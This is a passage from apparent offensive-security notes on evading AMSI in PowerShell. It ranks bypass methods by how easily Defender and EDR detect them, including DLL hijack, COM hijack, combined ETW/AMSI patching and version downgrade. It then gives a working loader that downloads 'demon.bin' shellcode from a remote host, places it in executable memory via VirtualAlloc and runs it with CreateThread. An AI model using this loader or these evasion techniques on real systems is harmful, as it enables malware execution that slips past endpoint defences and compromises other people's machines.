[Runtime.InteropServices.Marshal]::SecureStringToBSTR($ss))
# Variable insertion
$x = 'amsi'; $y = 'InitFailed'; "$x$y" → 'amsiInitFailed'
Bypass Stealth Ranking
MOST DETECTED:
Plain amsiInitFailed string ← flagged by Defender immediately
Plain AmsiScanBuffer patch ← well-known signature
powershell -version 2 ← logged as downgrade attempt
MODERATE:
Obfuscated amsiInitFailed ← depends on EDR
amsiContext null ← less common, fewer sigs
Memory patch (obfuscated call) ← behavioral detection possible
STEALTHIEST:
Fake amsi.dll (DLL hijack) ← no in-memory patching needed
Indirect approach via COM hijack ← quiet, registry based
ETW + AMSI + SBL combined patch ← removes all telemetry
PS2 downgrade (if allowed) ← simply no AMSI present
Custom runspace (C# EXE) ← AMSI doesn't apply to CLR host
Load Shellcode into memory.
# P/Invoke VirtualAlloc and CreateThread
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
public static extern void Sleep(uint dwMilliseconds);
"@
$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru
# Download shellcode (reuse from before)
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://192.168.137.26:7777/demon.bin")
# Allocate as RWX (0x3000 = MEM_COMMIT|MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)
$mem = $kernel32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
# Execute in a thread
$threadId = 0
$kernel32::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$threadId)
# Give it time to run
$kernel32::Sleep(2000)